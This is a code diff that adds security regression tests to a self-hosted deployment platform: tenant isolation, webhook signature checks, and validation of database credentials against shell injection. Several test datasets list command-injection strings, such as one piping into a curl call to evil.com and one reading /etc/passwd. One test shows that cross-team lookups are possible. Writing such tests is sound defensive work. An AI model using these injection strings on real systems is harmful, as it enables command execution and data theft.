expect(Application::count())->toBe($before); + }); + + test('submit with other team swarm destination throws', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + expect(fn () => Livewire::withUrlParams(['destination' => $this->swarmDestinationB->uuid]) + ->test(DockerImage::class, $routeParams) + ->set('imageName', 'nginx') + ->set('imageTag', 'latest') + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + }); +}); + +describe('DockerCompose destination + server_id team scope', function () { + test('submit with other team destination throws and creates no service', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Service::count(); + + Livewire::withUrlParams([ + 'destination' => $this->destinationB->uuid, + 'server_id' => $this->serverB->id, + ]) + ->test(DockerCompose::class, $routeParams) + ->set('dockerComposeRaw', "services:\n app:\n image: nginx\n") + ->call('submit'); + + expect(Service::count())->toBe($before); + }); + +}); + +describe('PublicGitRepository destination team scope', function () { + test('submit with other team destination creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(PublicGitRepository::class, $routeParams) + ->set('repository_url', 'https://github.com/coollabsio/coolify') + ->set('git_repository', 'coollabsio/coolify') + ->set('git_branch', 'main') + ->set('port', 3000) + ->set('build_pack', 'nixpacks') + ->set('git_source', 'other') + ->call('submit'); + } catch (Throwable $e) { + // submit wraps errors via handleError; count assertion below is source of truth + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('GithubPrivateRepository destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(GithubPrivateRepository::class, $routeParams) + ->call('submit'); + } catch (Throwable $e) { + // expected + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('GithubPrivateRepositoryDeployKey destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(GithubPrivateRepositoryDeployKey::class, $routeParams) + ->call('submit'); + } catch (Throwable $e) { + // expected + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('Resource/Create database destination team scope', function () { + test('mount with other team destination does not create database', function () { + $before = StandalonePostgresql::count(); + + $url = route('project.resource.create', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]).'?type=postgresql&destination='.$this->destinationB->uuid.'&server_id='.$this->serverB->id.'&database_image=postgres:16-alpine'; + + $this->get($url); + + expect(StandalonePostgresql::count())->toBe($before); + }); + +}); + +describe('StandaloneDocker/SwarmDocker ownedByCurrentTeam scope', function () { + test('StandaloneDocker::ownedByCurrentTeam excludes other team destinations', function () { + expect(StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationB->uuid)->first())->toBeNull(); + }); + + test('SwarmDocker::ownedByCurrentTeam excludes other team destinations', function () { + expect(SwarmDocker::ownedByCurrentTeam()->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull(); + }); + + test('StandaloneDocker::ownedByCurrentTeam returns own destination', function () { + $found = StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationA->uuid)->first(); + expect($found)->not->toBeNull(); + expect($found->id)->toBe($this->destinationA->id); + }); + + test('StandaloneDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () { + expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->destinationB->uuid)->first())->toBeNull(); + expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->destinationB->uuid)->first()?->id)->toBe($this->destinationB->id); + }); + + test('SwarmDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () { + expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull(); + expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->swarmDestinationB->uuid)->first()?->id)->toBe($this->swarmDestinationB->id); + }); +}); + +describe('Destination/Show team scope', function () { + test('mount with other team destination UUID redirects to index', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationB->uuid]); + + expect($component->get('destination'))->toBeNull(); + $component->assertRedirect(route('destination.index')); + }); + + test('mount with own destination UUID loads it', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid]); + + expect($component->get('destination'))->not->toBeNull(); + expect($component->get('destination')->id)->toBe($this->destinationA->id); + }); + + test('mount with other team swarm destination UUID redirects to index', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->swarmDestinationB->uuid]); + + expect($component->get('destination'))->toBeNull(); + $component->assertRedirect(route('destination.index')); + }); +}); diff --git a/tests/Feature/TeamScopedResourceProofsTest.php b/tests/Feature/TeamScopedResourceProofsTest.php new file mode 100644 index 000000000..b56fbd60e --- /dev/null +++ b/tests/Feature/TeamScopedResourceProofsTest.php @@ -0,0 +1,96 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id, 'network' => 'net-a-'.fake()->uuid()]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Team B (other team) + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id, 'network' => 'net-b-'.fake()->uuid()]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + // Authenticate as Team A + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('unscoped Project lookup returns another teams project', function () { + $project = Project::where('uuid', $this->projectB->uuid)->first(); + + expect($project)->not->toBeNull() + ->and($project->team_id)->toBe($this->teamB->id) + ->and($project->team_id)->not->toBe($this->teamA->id); +}); + +test('unscoped StandaloneDocker lookup returns another teams destination', function () { + $dest = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first(); + + expect($dest)->not->toBeNull() + ->and($dest->server->team_id)->toBe($this->teamB->id); +}); + +test('ownedByCurrentTeam scope blocks other-team Project access', function () { + expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectB->uuid)->first())->toBeNull(); +}); + +test('ownedByCurrentTeam scope allows own Project access', function () { + expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectA->uuid)->first())->not->toBeNull(); +}); + +test('Team A can create Application in Team B environment via unscoped lookups', function () { + $destination = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first(); + $project = Project::where('uuid', $this->projectB->uuid)->first(); + $environment = $project->load(['environments'])->environments->where('uuid', $this->environmentB->uuid)->first(); + + $application = Application::create([ + 'name' => 'team-scope-test-canary', + 'repository_project_id' => 0, + 'git_repository' => 'coollabsio/coolify', + 'git_branch' => 'main', + 'build_pack' => 'dockerfile', + 'dockerfile' => "FROM alpine\nCMD echo hello", + 'ports_exposes' => 80, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'health_check_enabled' => false, + 'source_id' => 0, + 'source_type' => GithubApp::class, + ]); + + expect($application->environment_id)->toBe($this->environmentB->id) + ->and($application->destination_id)->toBe($this->destinationB->id) + ->and($application->environment->project->team->id)->toBe($this->teamB->id) + ->and($application->environment->project->team->id)->not->toBe($this->teamA->id); +}); + +test('resource creation page loads with another teams project UUID', function () { + $response = $this->get(route('project.resource.create', [ + 'project_uuid' => $this->projectB->uuid, + 'environment_uuid' => $this->environmentB->uuid, + ])); + + expect($response->status())->not->toBe(403); +}); diff --git a/tests/Feature/Webhook/WebhookHmacTest.php b/tests/Feature/Webhook/WebhookHmacTest.php new file mode 100644 index 000000000..a06e85309 --- /dev/null +++ b/tests/Feature/Webhook/WebhookHmacTest.php @@ -0,0 +1,338 @@ +create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = $server->standaloneDockers()->firstOrFail(); + + return Application::create(array_merge([ + 'name' => 'webhook-test-app', + 'git_repository' => "https://github.com/{$repo}", + 'git_branch' => $branch, + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ], $overrides)); +} + +describe('GitHub Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_github' => null, + ]); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_github; + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('GitLab Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_gitlab' => null, + ]); + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => 'attacker-supplied-token', + ]); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with wrong token', function () { + $app = createApplicationWithWebhook(); + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => 'wrong-token', + ]); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid token', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_gitlab; + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => $secret, + ]); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Bitbucket Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_bitbucket' => null, + ]); + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with non-sha256 algorithm', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_bitbucket; + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha1='.hash_hmac('sha1', $payload, $secret), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid sha256 hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_bitbucket; + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Gitea Manual Webhook HMAC', function () { + test('rejects push when secret is empty', function () { + $app = createApplicationWithWebhook(); + DB::table('applications')->where('id', $app->id)->update([ + 'manual_webhook_secret_gitea' => null, + ]); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''), + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Webhook secret not configured'); + }); + + test('rejects push with forged hash', function () { + $app = createApplicationWithWebhook(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('accepts push with valid hash', function () { + $app = createApplicationWithWebhook(); + $secret = $app->manual_webhook_secret_gitea; + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $hmac = hash_hmac('sha256', $payload, $secret); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}", + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + $content = $response->getContent(); + expect($content)->not->toContain('Invalid signature'); + expect($content)->not->toContain('Webhook secret not configured'); + }); +}); + +describe('Webhook Secret Auto-Generation', function () { + test('auto-generates webhook secrets on application creation', function () { + $app = createApplicationWithWebhook(); + + expect($app->manual_webhook_secret_github)->not->toBeEmpty(); + expect($app->manual_webhook_secret_gitlab)->not->toBeEmpty(); + expect($app->manual_webhook_secret_bitbucket)->not->toBeEmpty(); + expect($app->manual_webhook_secret_gitea)->not->toBeEmpty(); + expect(strlen($app->manual_webhook_secret_github))->toBe(40); + expect(strlen($app->manual_webhook_secret_gitlab))->toBe(40); + expect(strlen($app->manual_webhook_secret_bitbucket))->toBe(40); + expect(strlen($app->manual_webhook_secret_gitea))->toBe(40); + }); + + test('encrypts webhook secrets at rest', function () { + $app = createApplicationWithWebhook(); + $plaintext = $app->manual_webhook_secret_github; + + $raw = DB::table('applications')->where('id', $app->id)->first(); + + expect($raw->manual_webhook_secret_github)->not->toBe($plaintext); + expect($app->manual_webhook_secret_github)->toBe($plaintext); + }); +}); diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index fc8b8ab9b..1a6a0d3d6 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -437,6 +437,16 @@ expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); }); +it('container prune excludes persistent resource types', function () { + $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php'); + + expect($sourceFile)->toContain('label!=coolify.type=database'); + expect($sourceFile)->toContain('label!=coolify.type=application'); + expect($sourceFile)->toContain('label!=coolify.type=service'); + expect($sourceFile)->toContain('label!=coolify.proxy=true'); + expect($sourceFile)->toContain('label=coolify.managed=true'); +}); + it('preserves build image for currently running tag', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], diff --git a/tests/Unit/DatabaseCredentialDirtyValidationTest.php b/tests/Unit/DatabaseCredentialDirtyValidationTest.php new file mode 100644 index 000000000..85063f9e0 --- /dev/null +++ b/tests/Unit/DatabaseCredentialDirtyValidationTest.php @@ -0,0 +1,87 @@ + str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databasePasswordRules includes regex rule when enforcePattern true', function () { + $rules = ValidationPatterns::databasePasswordRules(enforcePattern: true); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databasePasswordRules omits regex rule when enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(enforcePattern: false); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->toBeEmpty(); +}); + +it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false); + + expect($rules)->toContain('required'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:128'); +}); + +it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false); + + expect($rules)->toContain('nullable'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:2'); + expect($rules)->toContain('max:64'); + expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty(); +}); + +// ── databaseIdentifierRules ─────────────────────────────────────────────────── + +it('databaseIdentifierRules includes regex rule by default', function () { + $rules = ValidationPatterns::databaseIdentifierRules(); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databaseIdentifierRules includes regex rule when enforcePattern true', function () { + $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databaseIdentifierRules omits regex rule when enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->toBeEmpty(); +}); + +it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false); + + expect($rules)->toContain('required'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:63'); +}); + +it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false); + + expect($rules)->toContain('nullable'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:30'); + expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty(); +}); diff --git a/tests/Unit/DatabaseCredentialValidationPatternTest.php b/tests/Unit/DatabaseCredentialValidationPatternTest.php new file mode 100644 index 000000000..9331b4cbd --- /dev/null +++ b/tests/Unit/DatabaseCredentialValidationPatternTest.php @@ -0,0 +1,176 @@ +toBe(1); +})->with([ + 'simple lowercase' => 'postgres', + 'underscore prefix' => '_admin', + 'mixed case' => 'MyDatabase', + 'alphanumeric' => 'App_DB_1', + 'single char' => 'a', + 'all caps' => 'ROOT', + 'numbers in middle' => 'db2user', +]); + +it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) { + expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0); +})->with([ + 'semicolon' => 'user;id', + 'pipe' => 'user|cat', + 'ampersand' => 'user&rm', + 'dollar sign' => 'user$x', + 'backtick' => 'user`id`', + 'subshell' => 'user$(id)', + 'space' => 'user name', + 'newline' => "user\nname", + 'single quote' => "user'name", + 'double quote' => 'user"name', + 'backslash' => 'user\\name', + 'less than' => 'user 'user>name', + 'leading digit' => '1user', + 'hyphen' => 'my-user', + 'dot' => 'my.user', + 'empty' => '', + '64 chars (over limit)' => str_repeat('a', 64), + 'advisory poc payload' => 'root; touch /tmp/pwned_rce; #', + 'subshell payload' => 'a$(touch /tmp/pwn)b', +]); + +// ── DB_PASSWORD_PATTERN ─────────────────────────────────────────────────────── + +it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) { + expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1); +})->with([ + 'alphanumeric' => 'SecurePass123', + 'with special safe chars' => 'P@ss!word#1', + 'with brackets' => 'P{a}ss[word]', + 'with slash' => 'Pass/word1', + 'with dot comma' => 'Pass.word,1', + 'with hyphen' => 'Pass-word1', + 'with plus equals' => 'Pass+word=1', + 'with tilde colon' => 'P~ass:word1', + 'complex strong' => 'Str0ng!P@ss#word^123', +]); + +it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) { + expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0); +})->with([ + 'backtick' => 'pass`word`', + 'dollar sign' => 'pass$word', + 'semicolon' => 'pass;word', + 'pipe' => 'pass|word', + 'ampersand' => 'pass&word', + 'less than' => 'pass 'pass>word', + 'backslash' => 'pass\\word', + 'single quote' => "pass'word", + 'double quote' => 'pass"word', + 'space' => 'pass word', + 'newline' => "pass\nword", + 'carriage return' => "pass\rword", + 'tab' => "pass\tword", + 'empty' => '', + 'command substitution' => '$(whoami)', + 'rce payload' => 'root; touch /tmp/pwned; #', +]); + +// ── Rule helpers ────────────────────────────────────────────────────────────── + +it('databaseIdentifierRules returns required by default', function () { + $rules = ValidationPatterns::databaseIdentifierRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('min:1') + ->toContain('max:63') + ->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN); +}); + +it('databaseIdentifierRules returns nullable when not required', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('databasePasswordRules returns required by default', function () { + $rules = ValidationPatterns::databasePasswordRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('min:1') + ->toContain('max:128') + ->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN); +}); + +it('databasePasswordRules returns nullable when not required', function () { + $rules = ValidationPatterns::databasePasswordRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('isValidDatabaseIdentifier returns true for valid identifier', function () { + expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue(); + expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue(); + expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue(); +}); + +it('isValidDatabaseIdentifier returns false for injection payloads', function () { + expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse(); + expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse(); + expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse(); +}); + +// ── Validator integration ───────────────────────────────────────────────────── + +it('Laravel Validator rejects advisory PoC postgres_user payload', function () { + $validator = Validator::make( + ['postgres_user' => 'root; touch /tmp/pwned_rce; #'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator rejects subshell injection in postgres_user', function () { + $validator = Validator::make( + ['postgres_user' => 'a$(touch /tmp/pwn)b'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator accepts clean postgres_user', function () { + $validator = Validator::make( + ['postgres_user' => 'postgres'], + ['postgres_user' => ValidationPatterns::databaseIdentifierRules()] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('Laravel Validator rejects shell metachar in password', function () { + $validator = Validator::make( + ['postgres_password' => 'pass$(id)word'], + ['postgres_password' => ValidationPatterns::databasePasswordRules()] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('Laravel Validator accepts safe password', function () { + $validator = Validator::make( + ['postgres_password' => 'Str0ng!P@ss#123'], + ['postgres_password' => ValidationPatterns::databasePasswordRules()] + ); + + expect($validator->fails())->toBeFalse(); +}); diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php new file mode 100644 index 000000000..f2a9350ab --- /dev/null +++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php @@ -0,0 +1,107 @@ + ['admin; id > /tmp/pwned; echo'], + 'command substitution $()' => ['admin$(id > /tmp/pwned)'], + 'backtick substitution' => ['admin`id > /tmp/pwned`'], + 'pipe operator' => ['admin | cat /etc/passwd'], + 'background operator' => ['admin & curl http://evil.com'], + 'output redirect' => ['admin > /tmp/evil.txt'], + 'newline injection' => ["admin\nid"], + 'null byte' => ["admin\0id"], +]); + +// ─── PostgreSQL ────────────────────────────────────────────────────────────── + +test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'psql'"); +}); + +test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + // Simulate what StartPostgresql now generates + $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck[0])->not->toBe('CMD-SHELL'); + // Malicious value is isolated as a single argv element — no shell interprets it + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── KeyDB ──────────────────────────────────────────────────────────────────── + +test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'keydb-cli'"); +}); + +test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); 